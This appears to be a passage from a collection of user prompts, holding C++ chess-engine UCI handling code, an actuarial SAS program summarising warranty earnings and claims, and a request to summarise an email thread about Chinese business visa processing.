commands.find(args.front());\n if (iter == commands.end())\n {\n log\\_error("unknown command: " + cmd);\n }\n else\n {\n switch (iter->second)\n {\n case Command::GO:\n invoke(cmd, &UCI::go, args);\n break;\n case Command::ISREADY:\n invoke(cmd, &UCI::isready, args);\n break;\n case Command::PONDERHIT:\n invoke(cmd, &UCI::ponderhit, args);\n break;\n case Command::POSITION:\n invoke(cmd, &UCI::position, args);\n break;\n case Command::SETOPTION:\n invoke(cmd, &UCI::setoption, args);\n break;\n case Command::STOP:\n invoke(cmd, &UCI::stop, args);\n break;\n case Command::UCI:\n invoke(cmd, &UCI::uci, args);\n break;\n case Command::UCINEWGAME:\n invoke(cmd, &UCI::newgame, args);\n break;\n default:\n break;\n }\n }\n}\n\ntemplate \nINLINE const auto &next(const T &v, size\\_t &i)\n{\n static typename T::value\\_type empty;\n return ++i < v.size() ? v[i] : empty;\n}\n\nvoid UCI::go(const Arguments &args)\n{\n stop();\n\n bool explicit\\_movetime = false, do\\_analysis = false, do\\_ponder = false;\n int movestogo = 40, movetime = 0;\n int time\\_remaining[] = {0, 0};\n auto turn = \\_buf.\\_state.turn;\n\n \\_depth = max\\_depth;\n\n for (size\\_t i = 1; i < args.size(); ++i)\n {\n const auto &a = args[i];\n if (a == "depth")\n {\n \\_depth = to\\_int(next(args, i));\n do\\_analysis = true;\n }\n else if (a == "movetime")\n {\n movetime = to\\_int(next(args, i));\n explicit\\_movetime = true;\n }\n else if (a == "movestogo")\n {\n movestogo = to\\_int(next(args, i));\n }\n else if (a == "wtime")\n {\n time\\_remaining[chess::WHITE] = to\\_int(next(args, i));\n }\n else if (a == "btime")\n {\n time\\_remaining[chess::BLACK] = to\\_int(next(args, i));\n }\n else if (a == "ponder")\n {\n do\\_ponder = true;\n }\n else if (a == "infinite")\n {\n movetime = -1;\n do\\_analysis = true;\n }\n }\n /\\* initialize search context \\*/\n auto ctxt = new (\\_buf.as\\_context()) search::Context();\n ctxt->\\_state = &\\_buf.\\_state;\n\n if (!movetime)\n movetime = time\\_remaining[turn] / std::max(movestogo, 40);\n LOG\\_DEBUG(std::format("movetime {}, movestogo {}", movetime, movestogo));\n\n \\_extended\\_time = 0;\n \\_output\\_expected = true;\n\n if (do\\_ponder)\n {\n \\_extended\\_time = std::max(1, movetime);\n ctxt->set\\_time\\_limit\\_ms(INFINITE);\n \\_compute\\_pool->push\\_task([this]{ ponder(); });\n }\n else if (do\\_analysis && !explicit\\_movetime)\n {\n ctxt->set\\_time\\_limit\\_ms(INFINITE);\n \\_compute\\_pool->push\\_task([this]{ search(); output\\_best\\_move(); });\n }\n else\n {\n if (\\_use\\_opening\\_book && \\_ply\\_count < \\_book\\_depth && !do\\_analysis)\n {\n LOG\\_DEBUG(std::format("lookup book\\_depth={}, ply\\_count={}", \\_book\\_depth, \\_ply\\_count));\n if (auto move = search::Context::\\_book\\_lookup(\\_buf.\\_state, \\_best\\_book\\_move))\n {\n output\\_best\\_move(move);\n return;\n }\n else\n \\_book\\_depth = \\_ply\\_count;\n }\n ctxt->set\\_time\\_limit\\_ms(movetime);\n if (!explicit\\_movetime)\n ctxt->set\\_time\\_info(time\\_remaining[turn], movestogo, \\_score);\n\n \\_compute\\_pool->push\\_task([this, movetime] {\n \\_score = search();\n /\\* Do not request to ponder below 100 ms per move. \\*/\n output\\_best\\_move(movetime >= 100);\n });\n }\n}\n\n/\\*\\*\n \\* This command must always be answered with "readyok" and can be sent also\n \\* when the engine is calculating in which case the engine should also immediately\n \\* answer with "readyok" without stopping the search.\n \\*/\nINLINE void UCI::isready()\n{\n output("readyok");\n}\n\nvoid UCI::newgame()\n{\n stop();\n search::TranspositionTable::clear\\_shared\\_hashtable();\n set\\_start\\_position();\n}\n\n/\\*\\*\n \\* Runs on a background thread with infinite time, and expects that:\n \\* either STOP is received; or\n \\* PONDERHIT is received, which extends the search by \\_extended\\_time,\n \\* then sets \\_extended\\_time to 0, to indicate to this function to send out\n \\* the best move when the search finishes.\n \\*\n \\* Pondering may finish before PONDERHIT is received, in which case\n \\* it resets \\_extended\\_time and does not output a move;\n \\*\n \\* the ponderhit handler will send out the best move instead, when PONDERHIT\n \\* is received (thus avoiding "premature bestmove in ponder" errors).\n \\*/\nvoid UCI::ponder()\n{\n LOG\\_DEBUG(std::format("pondering, extended\\_time={}", \\_extended\\_time.load()));\n search();\n if (\\_extended\\_time)\n \\_extended\\_time = 0;\n else\n output\\_best\\_move();\n}\n\nvoid UCI::ponderhit()\n{\n if (int ext = \\_extended\\_time)\n {\n \\_extended\\_time = 0;\n context().set\\_time\\_limit\\_ms(ext);\n }\n else\n {\n stop();\n }\n}\n\nvoid UCI::position(const Arguments &args)\n{\n stop();\n\n bool in\\_moves = false;\n Arguments fen, moves;\n\n for (const auto &a : std::ranges::subrange(args.begin() + 1, args.end()))\n {\n if (a == "fen")\n {\n in\\_moves = false;\n }\n else if (a == "moves")\n {\n in\\_moves = true;\n if (search::Context::\\_history)\n search::Context::\\_history->clear();\n else\n search::Context::\\_history = std::make\\_unique();\n }\n else if (a == "startpos")\n {\n set\\_start\\_position();\n in\\_moves = false;\n }\n else if (in\\_moves)\n {\n moves.emplace\\_back(a);\n }\n else\n {\n fen.emplace\\_back(a);\n }\n }\n if (fen.size() >= 4)\n {\n \\_buf.\\_state = chess::State();\n if ( !chess::epd::parse\\_pos(fen[0], \\_buf.\\_state)\n || !chess::epd::parse\\_side\\_to\\_move(fen[1], \\_buf.\\_state)\n || !chess::epd::parse\\_castling(fen[2], \\_buf.\\_state)\n || !chess::epd::parse\\_en\\_passant\\_target(fen[3], \\_buf.\\_state)\n )\n raise\\_value\\_error("fen={} {} {} {}", fen[0], fen[1], fen[2], fen[3]);\n }\n else if (!fen.empty())\n {\n raise\\_value\\_error("invalid token count {}, expected 4", fen.size());\n }\n apply\\_moves(moves);\n LOG\\_DEBUG(search::Context::epd(\\_buf.\\_state));\n}\n\nINLINE score\\_t UCI::search()\n{\n if (!search::Context::\\_history)\n search::Context::\\_history = std::make\\_unique();\n\n \\_tt.init();\n\n auto& ctxt = context();\n ctxt.set\\_tt(&\\_tt);\n\n ctxt.\\_algorithm = \\_algorithm;\n ctxt.\\_max\\_depth = 1;\n ctxt.\\_move = \\_last\\_move;\n\n return search::iterative(ctxt, \\_tt, \\_depth + 1);\n}\n\nvoid UCI::setoption(const Arguments &args)\n{\n Arguments name, value, \\*acc = nullptr;\n\n for (const auto &a : std::ranges::subrange(args.begin() + 1, args.end()))\n {\n if (a == "name")\n acc = &name\n else if (a == "value")\n acc = &value\n else if (acc)\n acc->emplace\\_back(a);\n }\n\n auto opt\\_name = join(" ", name);\n auto iter = \\_options.find(lowercase(opt\\_name));\n if (iter != \\_options.end())\n iter->second->set(join(" ", value));\n else\n log\\_warning(\\_\\_func\\_\\_ + (": \\"" + opt\\_name + "\\": not found"));\n}\n\nvoid UCI::stop()\n{\n search::Context::set\\_time\\_limit\\_ms(0);\n \\_compute\\_pool->wait\\_for\\_tasks([] { search::Context::cancel(); });\n \\_output\\_pool->wait\\_for\\_tasks();\n output\\_best\\_move();\n}\n\nvoid UCI::uci()\n{\n std::ios\\_base::sync\\_with\\_stdio(false);\n output(std::format("id name {}-{}", \\_name, \\_version));\n output("id author Cristi Vlasceanu");\n\n /\\* refresh options \\*/\n for (auto p : \\_get\\_param\\_info())\n {\n auto name = p.first;\n /\\* option names are case insensitive, and can contain \\_single\\_ spaces \\*/\n \\_options[lowercase(name)] = std::make\\_shared(p.first, p.second);\n }\n /\\* show available options \\*/\n for (const auto &opt : \\_options)\n {\n std::ostringstream opts;\n opt.second->print(opts << "option name ");\n output(opts.str());\n }\n output("uciok");\n}\n\nextern "C" void run\\_uci\\_loop(const char \\*name, const char \\*version, bool debug)\n{\n \\_debug = debug;\n std::string err;\n try\n {\n UCI uci(name, version);\n uci.run();\n }\n catch (const std::exception &e)\n {\n err = e.what();\n }\n catch (...)\n {\n err = "unknown exception";\n }\n if (!err.empty())\n raise\\_runtime\\_error(err.c\\_str());\n}\n#else\nextern "C" void run\\_uci\\_loop(const char \\*, const char \\*, bool)\n{\n raise\\_runtime\\_error("Native UCI implementation is not enabled.");\n}\n#endif /\\* NATIVE\\_UCI \\*/' -'Here is a SAS code:\n/\\*%include \'/u98/sas/actuarial/US\\_ESC/Macros/AS400\\_SetExpVars.sas\';\\*/\nlibname JHTemp \'/u98/sas/actuarial/RMT\\_JH/Temp\';\nlibname Montage \'/u98/sas/actuarial/RMT\\_JH/Montage\';\nLibname US\\_ESC \'/u98/sas/actuarial/US\\_ESC\';\nLibname ESCTemp \'/u98/sas/actuarial/US\\_ESC/Temp\';\nLibname Account \'/u98/sas/actuarial/US\\_ESC/Client\\_Output\';\nLibname ImpLoc \'/u98/sas/actuarial/US\\_ESC/Import\';\n\nlibname DW\\_ACTU\n sqlsvr \n datasrc="AIZP1-DW\\_ACTUARY\\_USER" \n authdomain="AIZP1-DW\\_ACTUARY\\_USER" \n schema="MONTAGE" \n insertbuff=5000 readbuff=5000 READ\\_LOCK\\_TYPE=NOLOCK;\n\n%Let LbNm = Montage;\n%Let Who = Montage;\n%Let LbNmTmp = JHTemp;\n%Let LbNmCli = Account;\n%Let Client = mn;\n%Let PerNum = 202206;\n\n%Let ValDate = \'30Jun2022\'d;\n%Let InTbl = &LbNm..&Client.\\_MstrSmm\\_&PerNum.\\_PowerPivot2;\n\n/\\*from Montage.mn\\_cnt\\_clm\\_8\\_&pernum.\\*/\n/\\*where InvalidFlag=0 or (InvalidFlag=1 and PrePost2="Post 3")\\*/\n\nGOPTIONS ACCESSIBLE;\noptions obs = max;\n\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\* START HERE \\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*;\n\n%Let NumHPP = 144; \\*\\* # of Historical Policy Periods;\n%Let NumFPP = 0; \\*\\* # of Future Policy Periods;\n\n%Let NumHVP = 144; \\*\\* # of Historical Valuation Periods;\n%Let NumFVP = 0; \\*\\* # of Future Valuation Periods;\n\n%Let PeriodFrequency = MONTHS; \\*Enter MONTHS or QUARTERS for either monthly or quarterly data;\n\n%Let PolPfx = Pol;\n%Let ValPfx = Val;\n\n%Let ValMo = %sysfunc(Month(&ValDate.));\n%Let ValDy = %sysfunc(Day(&ValDate.));\n%Let ValYr = %sysfunc(Year(&ValDate.));\n\n\n\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\nVINTAGE SUMMARY \nuse the following ClsVars\n\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*;\n\n%Let ClsVars = General\\_SKU SKU\\_Family SKU\\_Family\\_2 Plan\\_Term Eff\\_Yr;\n%Let TableName = TWG\\_VINTAGE\\_SUMMARY\\_DATA;\n\n%Let WhereVar = (Eff\\_Yr >= 2010 and InvalidFlag=0);\n\n%Let EarningVars = Earning\\_Group\\_Code BeginDt Accident\\_Date PaidDt CancelDt EndDt Term Mapped\\_Term Plan\\_Term;\n%Let ClmVars = parts\\_cost labor\\_cost trip\\_cost other\\_cost;\n\n%Let SmmVars =CntGrs CntNet ResGrs ResNet ResErnd ;\n%Let cSmmVars = CalcCntErnd CalcResErnd;\n\ndata &LbNmTmp..&Client.\\_EarnCurve\\_&PerNum.\\_2 ;\n %let \\_EFIERR\\_ = 0; /\\* set the ERROR detection macro variable \\*/\n infile \'/u98/sas/actuarial/RMT\\_JH/Montage/Montage Earnings 202206 Vintage.csv\' delimiter = \',\' MISSOVER DSD lrecl=32767 firstobs=2 ;\n\n informat Term best32. ;\n informat Month best32. ;\n informat Earning\\_Group\\_Code $22.;\n informat Factor\\_Percent best32.;\n informat Last\\_Col\\_Fix $3.;\n format Term best32. ;\n format Month best12. ;\n format Earning\\_Group\\_Code $22.;\n format Factor\\_Percent best32.;\n format Last\\_Col\\_Fix $3.;\n input\n Term\n Month\n Earning\\_Group\\_Code $\n Factor\\_Percent\\_adj\n Last\\_Col\\_Fix $;\n if \\_ERROR\\_ then call symputx(\'\\_EFIERR\\_\',1); /\\* set ERROR detection macro variable \\*/\n\n Factor\\_Percent=1-Factor\\_Percent\\_adj;\n drop Factor\\_Percent\\_adj;\nrun; \n\ndata &LbNm..&Client.\\_XCnts\\_XClms\\_&PerNum.\\_ClmType;\n set &LbNm..&Client.\\_cnt\\_clm\\_8\\_&PerNum.;\n where &WhereVar.;\n\n parts\\_cost=Parts\\_Amount\\_Paid;\n labor\\_cost=Labor\\_Amount\\_Paid;\n trip\\_cost=Trip\\_Amount\\_Paid;\n other\\_cost=Other\\_Amount\\_Paid;\n\n Client\\_Lag=2;\n\n RepairReplace = \'Replace\';\n\n Plan\\_Term=Months;\n Term=Months;\n Mapped\\_Term=Months;\n\n format Earning\\_Group\\_Code $char22.;\n\n if PrePost="Pre" and Evaluation\\_Status^="C" then Earning\\_Group\\_Code="Earned\\_Factor\\_Pre";\n if (PrePost="Post" and Evaluation\\_Status^="C" and Effective\\_Date < \'01Nov2019\'d) then Earning\\_Group\\_Code="Earned\\_Factor\\_Post\\_1\\_2";\n if (PrePost="Post" and Evaluation\\_Status^="C" and Effective\\_Date ge \'01Nov2019\'d) then Earning\\_Group\\_Code="Earned\\_Factor\\_Post\\_3";\n\n Format PaidDt MMDDYY10.;\n Format CancelDt MMDDYY10.;\n Format EndDt MMDDYY10.;\n Format BeginDt MMDDYY10.;\n PaidDt=Paid\\_Date;\n PaidMo=Paid\\_Mo;\n PaidYr=Paid\\_Yr;\n CancelDt=Cancel\\_Date;\n BeginDt=Effective\\_Date;\n Dealer=Dealer\\_Group\\_Number;\n EndDt=Expiry\\_Date;\n CntGrs=Gross\\_Pol\\_Ct;\n CntNet=Pol\\_Ct;\n CntErnd=Epol\\_Ct;\n /\\*DealerNet is gross of cancels, NetDealer is net of em\\*/\n DealerNet=WRTPRM;\n NetDealer=WRTPRM-WRTPRM\\_Cancel;\n DealerErnd=CRL\\_Eprem;\n ResNet=CRL\\_LF;\n if NetDealer=0 then ResGrs=0; else ResGrs=ResNet\\*(DealerNet/NetDealer);\n ResErnd=CRL\\_ELF;\n ClmPaidAmt=Claim\\_Amt+IBNR+Rejects;\n if ClmPaidAmt=0 then ClmPaidNum=0;\n else ClmPaidNum=Paid\\_Pend\\_Cnt\\*(ClmPaidAmt/Claim\\_Amt);\n\n run;\n\nProc Summary Data=&LbNm..&Client.\\_XCnts\\_XClms\\_&PerNum.\\_ClmType Missing Nonobs Nway;\n where &WhereVar.;\n Class Dealer Client\\_Lag\n Plan\\_Term Term Mapped\\_Term Earning\\_Group\\_Code \n General\\_SKU SKU\\_Family SKU\\_Family\\_2\n RepairReplace\n Eff\\_Yr Eff\\_Mo\n BeginDt PaidYr PaidMo PaidDt Accident\\_Date\n CancelDt EndDt Dealer\\_State\n PrePost PrePost2 Evaluation\\_Status\n InvalidFlag;\n Var CntGrs CntNet CntErnd\n\n DealerNet NetDealer DealerErnd\n ResGrs ResNet ResErnd\n ClmPaidNum ClmPaidAmt\n parts\\_cost labor\\_cost trip\\_cost other\\_cost;\nOutput Out=&LbNm..&Client.\\_MstrSmm\\_&PerNum.\\_PowerPivot2 (Drop = \\_TYPE\\_ \\_FREQ\\_) sum=;\nRun;\n\n\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\* END HERE \\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*;\n\n%macro ends\\_of\\_periods (StartMo, StartDay, StartYr, Period, DtPfx, M, N);\n %local date0 date i;\n %let date0 = %sysfunc(mdy(&StartMo.,&StartDay.,&StartYr.));\n %do i = &M. %to &N.;\n %let date = %sysfunc(intnx(&Period.,&date0.,%eval(&i. - &M.),end));\n %global &DtPfx.&i.;\n %let &DtPfx.&i. = &date.;\n %put &DtPfx.&i. = %sysfunc(putn(&date., MMDDYY10.));\n %end;\n%mend ends\\_of\\_periods;\n\n%macro Set\\_Up\\_Periods (StartMo, StartDay, StartYr, Period, PrdFctr, DtPfx, M, N);\n\\*\\*\\* M periods of history and N periods of projection from start date;\n %local date0 date i;\n %let date0 = %sysfunc(mdy(&StartMo.,&StartDay.,&StartYr.));\n %do i = 1 %to &M. + &N.;\n %let date = %sysfunc(intnx(&Period.,&date0.,%eval((&i. - &M.)\\* &PrdFctr.) ,end));\n %global &DtPfx.&i.;\n %let &DtPfx.&i. = &date.;\n %put &DtPfx.&i. = %sysfunc(putn(&date., MMDDYY10.));\n %end;\n%mend Set\\_Up\\_Periods;\n%macro Slot\\_Dates(InDt, OutFld, DtPfx, NN);\n Select;\n WHEN (Missing(&InDt.)=1) &OutFld. = .;\n %do j = 1 %to %eval(&NN.-1);\n When (&InDt. <= &&&DtPfx&j.) &OutFld. = &&&DtPfx&j.;\n %end;\n Otherwise &OutFld. = &&&DtPfx&NN.;\n End;\n%mend;\n%macro Write\\_Fields(Prefix, DtPfx, M, N);\n %do i = &M. %to &N.;\n &Prefix.%sysfunc(Putn(%sysfunc(year(&&&DtPfx.&I.)),Z4.))%sysfunc(Putn(%sysfunc(month(&&&DtPfx.&I.)),Z2.))%sysfunc(Putn(%sysfunc(day(&&&DtPfx.&I.)),Z2.))\n %end;\n%mend Write\\_Fields;\n\n\\*Set up dates for Policy Periods;\n%Set\\_Up\\_Periods(&ValMo., &ValDy., &ValYr., &PeriodFrequency., 1, &PolPfx., &NumHPP., &NumFPP.);\n\n\\* Set up dates for Valuation Periods;\n%Set\\_Up\\_Periods(&ValMo., &ValDy., &ValYr., &PeriodFrequency., 1, &ValPfx., &NumHVP., &NumFVP.);\n\n\nGOPTIONS NOACCESSIBLE;\n%LET \\_CLIENTTASKLABEL=;\n%LET \\_CLIENTPROJECTPATH=;\n%LET \\_CLIENTPROJECTNAME=;\n%LET \\_SASPROGRAMFILE=;\n/\\* START OF NODE: H Cnts \\*/\n%LET \\_CLIENTTASKLABEL=\'H Cnts\';\n%LET \\_CLIENTPROJECTPATH=\'\\\\cead.prd\\data\\GROUPS\\ATL0\\\\_Actuarial\\VSC\\_Actuarial\\\\_Master SAS Project\\MASTER EW VSC 2016-08-11\\_addedDimension.egp\';\n%LET \\_CLIENTPROJECTNAME=\'MASTER EW VSC 2016-08-11\\_addedDimension.egp\';\n%LET \\_SASPROGRAMFILE=;\n\nGOPTIONS ACCESSIBLE;\nOptions fmtsearch=(WORK) ;\n\nPROC DATASETS Library= WORK Nolist Nodetails; Delete &Who.\\_EARNINGS\\_SUMMARY; RUN; QUIT;\n\nPROC SUMMARY DATA= &InTbl. Missing Nonobs Nway;\n Where &WhereVar.;\n Class &ClsVars. Client\\_Lag &EarningVars.;\n Var &SmmVars.;\nOutput Out= &Who.\\_Cnts (Drop= \\_TYPE\\_ \\_FREQ\\_) Sum=;\nRun;\n\n%Macro DO\\_ONE\\_PERNUM;\n Data TEMP\\_&Who.\\_Cnts\\_&i.;\n Set &Who.\\_Cnts;\n\n if \\_N\\_ = 1 then Do;\n If 0 then \n set &LbNmTmp..&Client.\\_EarnCurve\\_&PerNum.\\_2\n (Keep = Earning\\_Group\\_Code Term Month Factor\\_Percent);\n declare hash earn(dataset: "&LbNmTmp..&Client.\\_EarnCurve\\_&PerNum.\\_2");\n earn.definekey ("Earning\\_Group\\_Code", "Term", "Month" );\n earn.definedata ("Factor\\_Percent");\n earn.definedone();\n End;\n \n Format ValDt MMDDYY10.;\n Format ValDt\\_Final MMDDYY10.;\n\n ValDt = symget(COMPRESS("&ValPfx." || &i.));\n ValDt\\_Final = intnx(\'month\',symget(COMPRESS("&ValPfx." || (&NumHVP. + &NumFVP.))),-1\\*Client\\_Lag,\'e\');\n\n If BeginDt <= ValDt;\n\n If CancelDt > ValDt then do;\n ResNet = ResGrs;\n CntNet = CntGrs;\n End;\n\n ExpMo = Max(0, Min(Intck(\'MONTH\' , BeginDt , ValDt) , Mapped\\_Term));\n\n if (ValDt > ValDt\\_Final) then ExpMo\\_Earn = Max(0, Min(Intck(\'MONTH\' , BeginDt , ValDt\\_Final) , Mapped\\_Term));\n else ExpMo\\_Earn = ExpMo;\n\n earnrc = earn.find(key:Earning\\_Group\\_Code, key:Plan\\_Term, key:ExpMo\\_Earn + 1);\n If earnrc = 0 then Fctr = 1 - Factor\\_Percent;\n Else If Term = 0 then Fctr = 1; /\\*Check Examples\\*/\n Else If BeginDt gt ValDt then Fctr = 0;\n Else Fctr=Min(Round((ExpMo\\_Earn + 0.5) / Plan\\_Term, .00001),1);\n\n CalcResErnd = Round(ResNet \\* Fctr, .01);\n CalcCntErnd = Round(CntNet \\* Fctr, .01);\n\n Run;\n \n PROC SUMMARY DATA= TEMP\\_&Who.\\_Cnts\\_&i. Missing Nonobs Nway;\n Class ValDt ExpMo &ClsVars. ;\n Var &SmmVars. &cSmmVars.;\n Output Out= &Who.\\_SMM\\_&i. (Drop= \\_TYPE\\_ \\_FREQ\\_) Sum=;\n Run;\n\n PROC APPEND BASE=&Who.\\_EARNINGS\\_SUMMARY Data= &Who.\\_SMM\\_&i. FORCE; Run;\n PROC DATASETS Library= WORK Nolist Nodetails; Delete &Who.\\_SMM\\_&i.; RUN; QUIT;\n PROC DATASETS Library= WORK Nolist Nodetails; Delete TEMP\\_&Who.\\_Cnts\\_&i.; RUN; QUIT;\n%mend DO\\_ONE\\_PERNUM;\n\n%macro Do\\_ALL ;\n %local i;\n %do i = 1 %to &NumHVP. + &NumFVP.;\n %PUT \\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\* BEGIN &i. \\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*;\n %PUT \\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\* BEGIN &i. \\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*;\n %DO\\_ONE\\_PERNUM;\n %end;\n%mend;\n\n\\*options mprint;\n%Do\\_ALL;\n\nPROC DATASETS Library= WORK Nolist Nodetails; \n Delete &Who.\\_COMBO\\_&PerNum.\\_Detail2 &Who.\\_Cnts;\nRUN; QUIT;\n\nProc Sort Data= &Who.\\_EARNINGS\\_SUMMARY;\n By &ClsVars ValDt ExpMo;\nRun;\n\nGOPTIONS NOACCESSIBLE;\n%LET \\_CLIENTTASKLABEL=;\n%LET \\_CLIENTPROJECTPATH=;\n%LET \\_CLIENTPROJECTNAME=;\n%LET \\_SASPROGRAMFILE=;\n/\\* START OF NODE: H Clms \\*/\n%LET \\_CLIENTTASKLABEL=\'H Clms\';\n%LET \\_CLIENTPROJECTPATH=\'\\\\cead.prd\\data\\GROUPS\\ATL0\\\\_Actuarial\\VSC\\_Actuarial\\\\_Master SAS Project\\MASTER EW VSC 2016-08-11\\_addedDimension.egp\';\n%LET \\_CLIENTPROJECTNAME=\'MASTER EW VSC 2016-08-11\\_addedDimension.egp\';\n%LET \\_SASPROGRAMFILE=;\n\nGOPTIONS ACCESSIBLE;\n\nPROC DATASETS Library = WORK Nolist Nodetails; Delete &Who.\\_CLAIMS\\_SUMMARY; RUN; QUIT;\n\nPROC SUMMARY DATA= &InTbl. Missing Nonobs Nway;\n Where &WhereVar. AND ClmPaidAmt ne 0;\n Class &ClsVars. PaidDt Mapped\\_Term BeginDt;\n Var ClmPaidNum ClmPaidAmt &ClmVars.;\nOutput Out= &Who.\\_Clms (Drop= \\_TYPE\\_ \\_FREQ\\_) Sum=;\nRun;\n%Macro DO\\_ONE\\_CLAIM\\_PERNUM;\n Data TEMP\\_&Who.\\_Clms\\_&i.;\n Set &Who.\\_Clms;\n Format ValDt MMDDYY10.;\n ValDt = symget(COMPRESS("&ValPfx." || &i.));\n If PaidDt <= ValDt;\n\n ExpMo = Max(0, Min(Intck(\'MONTH\' , BeginDt , ValDt) , Mapped\\_Term));\n Run;\n\n PROC SUMMARY DATA= TEMP\\_&Who.\\_Clms\\_&i. Missing Nonobs Nway;\n Class ValDt ExpMo &ClsVars.;\n Var ClmPaidNum ClmPaidAmt &ClmVars.;\n Output Out= &Who.\\_SMM\\_&i. (Drop= \\_TYPE\\_ \\_FREQ\\_) Sum=;\n Run;\n\n PROC APPEND BASE=&Who.\\_CLAIMS\\_SUMMARY Data= &Who.\\_SMM\\_&i. FORCE; Run;\n \n PROC DATASETS Library= WORK Nolist Nodetails; Delete &Who.\\_SMM\\_&i.; RUN; QUIT;\n PROC DATASETS Library= WORK Nolist Nodetails; Delete TEMP\\_&Who.\\_Clms\\_&i.; RUN; QUIT;\n%mend DO\\_ONE\\_CLAIM\\_PERNUM;\n\n%macro Do\\_ALL\\_Clms ;\n %local i;\n %do i = 1 %to &NumHVP. + &NumFVP.;\n %PUT \\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\* BEGIN &i. \\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*;\n %PUT \\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\* BEGIN &i. \\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*;\n %DO\\_ONE\\_CLAIM\\_PERNUM;\n %end;\n%mend;\n\n%Do\\_ALL\\_Clms;\nPROC DATASETS Library= WORK Nolist Nodetails; Delete &Who.\\_Clms0 &Who.\\_Clms; RUN; QUIT;\n\nProc Sort Data= &Who.\\_CLAIMS\\_SUMMARY;\n By &ClsVars. ValDt ExpMo;\nRun;\n\n\n\nGOPTIONS NOACCESSIBLE;\n%LET \\_CLIENTTASKLABEL=;\n%LET \\_CLIENTPROJECTPATH=;\n%LET \\_CLIENTPROJECTNAME=;\n%LET \\_SASPROGRAMFILE=;\n/\\* START OF NODE: H Trend \\*/\n%LET \\_CLIENTTASKLABEL=\'H Trend\';\n%LET \\_CLIENTPROJECTPATH=\'\\\\cead.prd\\data\\GROUPS\\ATL0\\\\_Actuarial\\VSC\\_Actuarial\\\\_Master SAS Project\\MASTER EW VSC 2016-08-11\\_addedDimension.egp\';\n%LET \\_CLIENTPROJECTNAME=\'MASTER EW VSC 2016-08-11\\_addedDimension.egp\';\n%LET \\_SASPROGRAMFILE=;\n\nGOPTIONS ACCESSIBLE;\nData &LbNmTmp..&Who.\\_TREND;\n Merge \n WORK.&Who.\\_EARNINGS\\_SUMMARY (In=Cn)\n WORK.&Who.\\_CLAIMS\\_SUMMARY (In=Cl) ;\n By &ClsVars VALDT ExpMo;\n \\*If Cn=1;\n \n array testmiss(\\*) \\_numeric\\_; \n do i = 1 to dim(testmiss); \n if testmiss(i)=. then testmiss(i)=0; \n end;\n Drop i; \n\n Format IdVar $30.;\n IdVar = "ALL"; \n\n TempResGrs = ResGrs;\n TempPdAmt = ClmPaidAmt;\n Drop ResGrs ClmPaidAmt;\n Rename \n TempResGrs = ResGrs\n TempPdAmt = ClmPaidAmt;\nRun;\n\nproc summary data=&LbNmTmp..&Who.\\_TREND missing nonobs nway;\n class valdt Eff\\_Yr;\n var resnet resernd clmpaidamt clmpaidnum;\n output out=TrendSummary sum=;\n run;\n \nPROC DATASETS Library= WORK Nolist Nodetails; \n Delete &Who.\\_CLAIMS\\_SUMMARY \n &Who.\\_EARNINGS\\_SUMMARY; \nRUN; QUIT;\n\nlibname DW\\_ACTU \n sqlsvr \n datasrc="AIZP1-DW\\_ACTUARY\\_USER" \n authdomain="AIZP1-DW\\_ACTUARY\\_USER" \n schema="ESC" \n insertbuff=5000 readbuff=5000 READ\\_LOCK\\_TYPE=NOLOCK;\n\nProc SQL;\n drop table DW\\_ACTU.&TableName.;\nRun;\n\nData DW\\_ACTU.&TableName.;\n Set &LbNmTmp..&Who.\\_TREND;\nrun;\n\nGOPTIONS NOACCESSIBLE;\n%LET \\_CLIENTTASKLABEL=;\n%LET \\_CLIENTPROJECTPATH=;\n%LET \\_CLIENTPROJECTNAME=;\n%LET \\_SASPROGRAMFILE=;' -'Please summarize the following email thread:\nDear Elisabeth,\n\nThank you. I\'m looking through the requirements and the application. It says it takes "at least" two weeks - do you have any idea if it will be 2 weeks or longer? \nAccording to the Consult Gerneral in US, it said nornmally it will only take 4 work days. Although this is a very old post but I looked through the website and did not see they post any new annoucement about the processing time, so I think this annoucement is still valid. However, I think Chinese Embassy are a bit strict these days so may take more time to get a visa than usual. (Adeh took 2-3 monthes to apply for a reunion visa for his son Yaoyao last year which is super annoying)\nFor me, which is better? To use my US passport or my Dutch passport?\nThe only doable visa for both of you are Business visa, so please do business visa for yourself too. I think it does not matter which passport you use. \nThank you. I\'m looking through the requirements and the application. It says it takes "at least" two weeks - do you have any idea if it will be 2 weeks or longer? 